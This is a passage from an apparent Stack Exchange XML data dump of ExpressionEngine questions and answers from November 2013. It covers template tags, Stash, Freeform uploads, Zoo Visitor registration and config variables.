you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="1132" LastActivityDate="2013-11-11T23:57:46.847" Title="exp:channel:form date undefined with datepicker" Tags="|forms|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16659" PostTypeId="2" ParentId="16639" CreationDate="2013-11-11T21:39:07.383" Score="3" Body="&lt;p&gt;What Anna said, although note that the &lt;code&gt;{qty_in_cart}&lt;/code&gt; variable only refers to the current product. If you want to prevent the custom from purchasing any other items, you could either wrap your whole product form in a conditional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:cart}&#xA;    {if no_items}&#xA;        // product form here&#xA;    {/if}&#xA;{/exp:store:cart}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could just empty the cart every time a new product is added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product entry_id=&quot;1&quot; empty_cart=&quot;yes&quot;}&#xA;    // add to cart button here&#xA;{/exp:store:product}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2013-11-12T08:49:38.623" LastActivityDate="2013-11-12T08:49:38.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16660" PostTypeId="2" ParentId="16630" CreationDate="2013-11-11T22:41:40.333" Score="2" Body="&lt;p&gt;I would avoid using an embed in that case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An embedded template is the second to last thing to be processed, see &lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow&quot;&gt;ExpressionEngine's Parse Order&lt;/a&gt; courtesy Lowe. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to re-use that code you can use it in a snippet (and use an add-on like Brian Litzinger's &lt;a href=&quot;http://devot-ee.com/add-ons/snippet-sync&quot; rel=&quot;nofollow&quot;&gt;Snippet Sync&lt;/a&gt; to manage snippets as files if that's what's been preventing you from using snippets).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so e.g. your &lt;code&gt;{snippet:getgenderurltitle}&lt;/code&gt;'s contents could be like (replace embed with &lt;code&gt;{stash:get...}&lt;/code&gt; ):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_replace find=&quot;\r|\n|\t&quot; replace=&quot;&quot; regex=&quot;yes&quot;}&#xA;    {exp:channel:entries&#xA;        channel=&quot;genders&quot;&#xA;        disable=&quot;categories|category_fields|member_data|pagination&quot;&#xA;        dynamic=&quot;no&quot;&#xA;        orderby=&quot;entry_id&quot;&#xA;        sort=&quot;asc&quot;&#xA;    }&#xA;        {if '{exp:stash:get name=&quot;chosen_gender_id&quot;}' == entry_id}&#xA;            {url_title}&#xA;        {/if}&#xA;    {/exp:channel:entries}&#xA;{/exp:low_replace}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and stash that, e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;get_gender_url_title&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot;}&#xA;  {snippet:getgenderurltitle}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then for your conditional you can use &lt;a href=&quot;https://github.com/croxton/Switchee/tree/develop&quot; rel=&quot;nofollow&quot;&gt;Switchee&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee parse=&quot;inward&quot; variable=&quot;stash:get_gender_url_title&quot;}&#xA;  {case value=&quot;male&quot;}&#xA;    {!-- do nothing --}&#xA;  {/case}&#xA;  {case default=&quot;Yes&quot;}&#xA;    {!-- do something --}&#xA;  {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;channel:form comment EDIT&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not really familiar with safecracker/channel:form. Can you not use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/query/&quot; rel=&quot;nofollow&quot;&gt;Query Module&lt;/a&gt; for that? E.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT url_title AS gender_url_title FROM exp_channel_titles WHERE url_title != 'male' AND entry_id = '{exp:stash:chosen_gender_id}'&quot;}&#xA;  {gender_url_title}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you may not be able to use the no results conditional, in that case stash the results/lack thereof (with parse tags &amp;amp; trim) and use &lt;code&gt;{exp:stash:not_empty ...}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;No SQL comment EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can just stick to embedded  templates, then. Except instead of running your conditional in the same template, do it in another one saving any variables you need via stash so you can re-use them in the embedded template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. your initial embedded template (taking out low replace for stash with trim)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;gender_url_title&quot; parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot; trim=&quot;yes&quot;}&#xA;    {exp:channel:entries&#xA;        channel=&quot;genders&quot;&#xA;        entry_id=&quot;{embed:chosen_gender_id}&quot;&#xA;        limit=&quot;1&quot;&#xA;        disable=&quot;categories|category_fields|member_data|pagination&quot;&#xA;        dynamic=&quot;no&quot;&#xA;        orderby=&quot;entry_id&quot;&#xA;        sort=&quot;asc&quot;&#xA;    }&#xA;            {url_title}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you ought to be able to run your conditional in another embedded template right afterwards (this would be the contents of that embedded template) (untested but it ought to work):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {exp:stash:not_empty name='gender_url_title'}&#xA;  {if &quot;{exp:stash:get name='gender_url_title'}&quot; != &quot;male&quot;}&#xA;    {!-- run code here --}&#xA;    ...{exp:stash:get name=&quot;saved_channel_form_variable...&quot;}...&#xA;  {/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="61" LastEditorUserId="61" LastEditDate="2013-11-13T16:32:24.773" LastActivityDate="2013-11-13T16:32:24.773" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16662" PostTypeId="2" ParentId="13699" CreationDate="2013-11-11T23:00:16.720" Score="2" Body="&lt;p&gt;This finally worked for me:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tools &gt; Data &gt; SQL manager&lt;/li&gt;&#xA;&lt;li&gt;Database Query Form&lt;/li&gt;&#xA;&lt;li&gt;enter queries:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;pre&gt;ALTER TABLE exp_playa_relationships ADD parent_var_id INT(6) UNSIGNED AFTER parent_row_id, ADD INDEX (parent_var_id) &#xA;&#xA;ALTER TABLE exp_playa_relationships ADD parent_is_draft INT(1) UNSIGNED NOT NULL DEFAULT 0 AFTER parent_var_id&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Submit&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2042" LastEditorUserId="2042" LastEditDate="2013-11-13T01:35:20.040" LastActivityDate="2013-11-13T01:35:20.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16663" PostTypeId="2" ParentId="16657" CreationDate="2013-11-11T23:35:04.620" Score="3" Body="&lt;p&gt;Really simple bug in Simple Commerce Module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open up &lt;code&gt;mod.simple_commerce.php&lt;/code&gt; and look for where it's supposed to encrypt the subscribe data, it's around line 200. If you look carefully you'll find it's encrypting data for a regular payment not the &lt;code&gt;$subscribe&lt;/code&gt; variable immediately above. Yeah, just change it to use &lt;code&gt;$subscribe&lt;/code&gt; for encryption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mission accomplished.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit:&lt;/strong&gt; looked for a bug report on this and couldn't find one, so filed one here (contains actual code): &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19896&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19896&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="61" LastEditDate="2013-11-11T23:41:49.283" LastActivityDate="2013-11-11T23:41:49.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16664" PostTypeId="2" ParentId="16658" CreationDate="2013-11-11T23:57:46.847" Score="2" Body="&lt;p&gt;It might be this bug: &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19782&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19782&lt;/a&gt;&#xA;which affected me, and the fix worked as well:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Known Solution:&#xA;  -------------- Try editing system/expressionengine/modules/channel/libraries/Channel_form/Channel_form_lib.php&#xA;  around line 966 so it looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;datepicker)&#xA;  {&#xA;   $js_defaults['ui'][] = 'datepicker';&#xA;   $js_defaults['file'][] = 'cp/date';&#xA;&#xA;  } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;You’re just adding the $js_defaults[‘file’][] = ‘cp/date’;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-11-11T23:57:46.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16665" PostTypeId="1" CreationDate="2013-11-12T01:42:07.880" Score="0" ViewCount="102" Body="&lt;p&gt;Is there a method where I could generate a heading using a grid column value?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My grid is output as a table sorted by the column “sport” with values like “hockey, baseball, soccer” etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So as I loop through the different sports, I’d like a heading for each. So when it shows the entries sorted with the value ‘hockey’ there would be a heading ‘Hockey’ displayed. Any thoughts on doing that?&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2013-11-16T16:04:25.073" Title="Headings from Grid Column Values" Tags="|grid|sort|title|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16666" PostTypeId="2" ParentId="11018" CreationDate="2013-11-12T01:45:14.970" Score="1" Body="&lt;p&gt;Just came across this post, for anyone else that may be looking for similar answers to this question. I've used this type of code on pages to display member details based on a number of variables with no problems to date. Here's my take:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3 == &quot;&quot;}&#xA; &amp;lt;p&amp;gt;no results&amp;lt;/p&amp;gt;&#xA;{if:else}&#xA;{exp:zoo_visitor:details limit=&quot;99&quot; url_title=&quot;{segment_3}&quot; member_group=&quot;5&quot; status=&quot;Members-id5}&#xA;  &amp;lt;h2&amp;gt;{visitor:member_firstname} {visitor:member_lastname}&amp;lt;/h2&amp;gt;&#xA;  &amp;lt;p&amp;gt;{visitor:member_level_of_government}&amp;lt;br /&amp;gt;&#xA;  Region: {categories show_group=&quot;42&quot;}{category_name}{/categories} &amp;lt;/p&amp;gt;&#xA;{/exp:zoo_visitor:details}&#xA;{/}if&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The form submitted will provide a set of conditional rules that determine the information displayed on the result page. The result page needs to be setup to enable the conditions to be met or otherwise return an error response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first IF conditional should provide a response if the segment_3 is empty (which can be a result of a search engine link) and advise the visitor accordingly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the segment_3 condition is met with content, the zoo_visitor:details field will then provide a result based on using the url_title of segment_3 and also the group and status of the entries.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2013-11-12T01:45:14.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16667" PostTypeId="1" CreationDate="2013-11-12T02:08:40.673" Score="0" ViewCount="806" Body="&lt;p&gt;Is there a way to access config variables from the config files via native EE tags so that I can display it in the templates ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or are there none that I have to right a plugin for it?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2016-03-13T09:52:59.290" Title="Config variables in templates" Tags="|templates|config|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16668" PostTypeId="2" ParentId="12586" CreationDate="2013-11-12T04:34:30.983" Score="3" Body="&lt;p&gt;I recently had this problem when my hosting provider, Eleven2, updated our shared hosting server's configuration. The problem seems to be &quot;mod_security&quot; blocking these requests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix the problem disable mod_security in your .htaccess file by adding the following lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_security.c&amp;gt;&#xA;SecFilterEngine Off&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-11-12T04:34:30.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16669" PostTypeId="1" AcceptedAnswerId="16673" CreationDate="2013-11-12T04:42:21.790" Score="2" ViewCount="462" Body="&lt;p&gt;Please see &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/cp_javascript/notification.html&quot; rel=&quot;nofollow&quot;&gt;JavaScript Notification Plugin&lt;/a&gt; for reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: Is it possible to &quot;capture&quot; the message and params of &lt;code&gt;$.ee_notice()&lt;/code&gt; any time it's run in the CP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to use &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/cp_javascript/notification.html#hiding-the-notifications&quot; rel=&quot;nofollow&quot;&gt;destroy&lt;/a&gt; to hide the default notification but, still be able to use the message and params as I see fit via my own js/jQuery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One place this appears to run is when saving publish layouts for what ever it's worth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2013-11-12T11:51:27.527" Title="Javascript Notification Plugin - Capture message and params" Tags="|control-panel|javascript|jquery|notification|messages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16673" PostTypeId="2" ParentId="16669" CreationDate="2013-11-12T07:40:04.823" Score="3" Body="&lt;p&gt;&lt;em&gt;update&lt;/em&gt; &#xA;looks like this task is not so simple as looks like - can't find where some notice even is registered (like for save custom field setting - looks like it is flashdata). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a quick example using &lt;a href=&quot;http://github.hubspot.com/messenger/&quot; rel=&quot;nofollow noreferrer&quot;&gt;HubSpot Messaging&lt;/a&gt; + ee_notice replacement as combination of JS &amp;amp; hooks - &lt;a href=&quot;https://github.com/MaxLazar/MX-CP-Notice&quot; rel=&quot;nofollow noreferrer&quot;&gt;CP Notice&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YL6iD.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sM3h4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;before&lt;/em&gt;&#xA;Why just don't replace it with ext.?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function cp_js_end( $data ) {&#xA;    if ($this-&amp;gt;EE-&amp;gt;extensions-&amp;gt;last_call !== FALSE)&#xA;    {&#xA;          $data = $this-&amp;gt;EE-&amp;gt;extensions-&amp;gt;last_call;&#xA;    }&#xA;&#xA;    $out = '&#xA;        $(function () {&#xA;            $.ee_notice = function (a, k) {&#xA;        alert(a);&#xA;        }&#xA;        $.ee_notice.destroy = function () {&#xA;&#xA;    }&#xA;&#xA;        });&#xA;&#xA;    ';&#xA;&#xA;     $data .= $out;&#xA;&#xA;    return $data;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2013-11-12T11:51:27.527" LastActivityDate="2013-11-12T11:51:27.527" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16674" PostTypeId="1" AcceptedAnswerId="16685" CreationDate="2013-11-12T08:29:25.823" Score="0" ViewCount="63" Body="&lt;p&gt;I want to set a condition for category in exp channel tag which should result in a condition:&#xA;&quot;where category = 3 and category=2&quot;&#xA;How can I give this condition in exp?&#xA; &quot;category=3&amp;amp;2 &quot; and category=&quot;3|2&quot;  not getting the correct results,they return the same query&#xA;  If anyone knows, please help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many Thanks&lt;/p&gt;&#xA;" OwnerUserId="2126" LastEditorUserId="2126" LastEditDate="2013-11-12T08:44:23.180" LastActivityDate="2013-11-12T12:06:02.210" Title="Exp channel give category condition" Tags="|channel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16675" PostTypeId="2" ParentId="16640" CreationDate="2013-11-12T08:35:20.380" Score="1" Body="&lt;p&gt;I would load Assets library and use it. Example from one of my addons:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;add_package_path(PATH_THIRD.'assets/');&#xA;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('assets_lib');&#xA;$src = $this-&amp;gt;EE-&amp;gt;assets_lib-&amp;gt;get_file_url($file_id);&#xA;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;remove_package_path(PATH_THIRD.'assets/');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately Assets don't really have developer's documentation, but function names mostly speak for themselves.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-11-12T08:35:20.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16676" PostTypeId="2" ParentId="16641" CreationDate="2013-11-12T09:22:26.473" Score="1" Body="&lt;p&gt;&lt;strong&gt;First question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume &lt;code&gt;friend_name&lt;/code&gt; is a custom field, so you would use &lt;code&gt;required=&quot;friend_name&quot;&lt;/code&gt; as a parameter. If you have &lt;code&gt;recipients=&quot;yes&quot;&lt;/code&gt; and a recipient form field (i.e. recipient_email or recipient_email_user), Freeform should be able to detect if recipients have been filled out or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Second question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you have potentially multiple &lt;code&gt;friend_name&lt;/code&gt;s entered in the form, this data will be newline-delimited in Freeform's database table. You'll need PHP to break those apart (using PHP's explode() function for example), but this would be possible only in the email notification body. First, use an {embed} to a template that has PHP enabled, then break apart the friend_names. This is a very loose example of what I mean by &quot;breaking up&quot; the names.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $names = explode(&quot;\n&quot;, '{embed:friend_names}');?&amp;gt;&#xA;&amp;lt;?php foreach($names as $name) {&#xA;    echo $name . ',';&#xA;}?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, there is no way to pick only &lt;strong&gt;one&lt;/strong&gt; name out of your &lt;code&gt;friend_name&lt;/code&gt;s. Freeform sends the same email notification to all recipients.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-11-12T09:22:26.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16678" PostTypeId="2" ParentId="16667" CreationDate="2013-11-12T10:54:30.370" Score="0" Body="&lt;p&gt;I don't think so, the only method I'm aware of is using global variables in index.php as per the user contributed notes here - &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/user_defined.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/templates/globals/user_defined.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think otherwise you may need a plug-in though I'm not even sure that would work as the values in the DB which you could pull out with a plug-in are not necessarily going to mirror those defined in config.php.&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2013-11-12T10:54:30.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16679" PostTypeId="2" ParentId="16645" CreationDate="2013-11-12T10:57:28.773" Score="1" Body="&lt;p&gt;I think you'll need to enable PHP in the template, set it to parse on input and use it to store the value of {state} on each iteration of the loop, at the top of the loop check to see if state is equal to itself or not, if not the write out the value as a heading. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible you might be able to achieve the same result with Stash but I'm not really familiar with that. :)&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2013-11-12T10:57:28.773" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16680" PostTypeId="2" ParentId="16667" CreationDate="2013-11-12T11:17:46.037" Score="1" Body="&lt;p&gt;We can add variables to the &lt;code&gt;config.php&lt;/code&gt;, instead of &lt;code&gt;index.php&lt;/code&gt;, by this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $assign_to_config;&#xA;&#xA;if(!isset($assign_to_config['global_vars']))&#xA;$assign_to_config['global_vars'] = array();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, I believe that you can set some config variables by this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['global_vars']['cv_smtp_port'] = $config['smtp_port'] = '587';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On your templates, you'll have early parsed variables to work with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{cv_smtp_port}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can use this technique to get some data from global variables in early stages of parsing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['global_vars']['cv_site_url'] = $config['site_url'] = &quot;http://domain.com&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{site_url}&lt;/code&gt; is parsed at the end of parsing stages, while &lt;code&gt;{cv_site_url}&lt;/code&gt; will be parsed at the beginning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I &lt;strong&gt;don't tested&lt;/strong&gt; this, but I guess that edit edit &lt;code&gt;config.php&lt;/code&gt; by the CP can destroy all of this. So, test this and maybe do not allow the users to access the config file editor.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-11-12T11:17:46.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16681" PostTypeId="1" CreationDate="2013-11-12T11:32:37.453" Score="1" ViewCount="181" Body="&lt;p&gt;Does anyone know how to have a hidden field within a zoo visitor registration form which automatically chooses which member group they will go in? This is my code, which doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:registration_form error_handling=&quot;inline&quot; return='supporters/support-us/success' allowed_groups=&quot;9&quot;}&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;group_id&quot; value=&quot;9&quot; id=&quot;group_id&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My default options set in the control panel under member preferences are for 'self-activation via email' and they go in to the 'members' member group. But for this particular form I want anyone completing it to go to a different member group, called 'supporters', group id is 9. At the moment they're just going in to the 'members' group after activating through their email, so I guess it's ignoring my hidden field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be very much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1566" LastActivityDate="2013-11-12T13:18:42.963" Title="Zoo visitor registration form hidden member group" Tags="|zoo-visitor|registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16682" PostTypeId="1" CreationDate="2013-11-12T11:47:34.640" Score="0" ViewCount="453" Body="&lt;p&gt;When manually creating a freeform form, I have a series of file upload options which I'm creating as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form form:id=&quot;freeform&quot; template=&quot;career_applications&quot; return=&quot;&quot; collection=&quot;career_applications&quot; file_upload=&quot;Careers&quot; allowed_file_types=&quot;pdf|doc|docx|rtf|txt&quot; notify=&quot;&quot;}&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;{title}&quot; name=&quot;job_title&quot; /&amp;gt;&#xA;&amp;lt;fieldset class=&quot;careers-application&quot;&amp;gt;&#xA;                    &amp;lt;legend class=&quot;hide&quot;&amp;gt;Apply for this job&amp;lt;/legend&amp;gt;&#xA;                    &amp;lt;div&amp;gt;&#xA;                        &amp;lt;label for=&quot;textApplicantFullName&quot;&amp;gt;Full name:&amp;lt;span class=&quot;mandatory&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; id=&quot;textApplicantFullName&quot; name=&quot;name&quot; class=&quot;input-text&quot; required /&amp;gt;&#xA;                        &amp;lt;label for=&quot;textApplicantEmailAddress&quot;&amp;gt;Email address:&amp;lt;span class=&quot;mandatory&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; id=&quot;textApplicantEmailAddress&quot; name=&quot;email&quot; class=&quot;input-text&quot; required /&amp;gt;&#xA;                        &amp;lt;label for=&quot;fileApplicantCV&quot;&amp;gt;Attach CV:&amp;lt;span class=&quot;mandatory&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;input type=&quot;file&quot; id=&quot;fileApplicantCV&quot; name=&quot;file1&quot; class=&quot;input-file&quot; required /&amp;gt;&#xA;                        &amp;lt;label for=&quot;fileApplicantCoverLetter&quot;&amp;gt;Cover letter:&amp;lt;span class=&quot;mandatory&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;input type=&quot;file&quot; id=&quot;fileApplicantCoverLetter&quot; name=&quot;file2&quot; class=&quot;input-file&quot; required /&amp;gt;&#xA;                        &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Closing date:&amp;lt;/strong&amp;gt; &amp;lt;span class=&quot;text-orange&quot;&amp;gt;{expiration_date format=&quot;%j %F %Y&quot;}&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;div class=&quot;shadow top&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;shadow base&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div&amp;gt;&#xA;                        &amp;lt;button class=&quot;button green&quot; type=&quot;submit&quot;&amp;gt;&#xA;                            Apply for this job now &amp;lt;i class=&quot;icon&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;                        &amp;lt;/button&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/fieldset&amp;gt;&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the problem appears that the files aren't being uploaded, but the form is still being processed with no errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checking the folder location permissions, path is correct, XSS filtering disabled, spellings etc all to no avail.&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2013-11-12T11:47:34.640" Title="Freeform 4.x doesn't upload files but no error occurs" Tags="|solspace-freeform|file-uploads|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16683" PostTypeId="2" ParentId="16682" CreationDate="2013-11-12T11:47:34.640" Score="5" Body="&lt;p&gt;The problem lies in that you can upload multiple files using FreeForms File Upload Field Type - so you can't just use name=&quot;file1&quot; as your field name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make this work, you have to pass the field type as a post array, so name=&quot;file[0]&quot; for the first file (and if you have multiple files name=&quot;file[1]&quot;, name=&quot;file[2]&quot; and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the resolution (for me at least), was to simply append [0] at the end of the field name. It's taken me a couple of hours to figure this out, hence why I'm writing it up here so that anyone else who comes across this problem, gets it resolved relatively quickly.&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2013-11-12T11:47:34.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
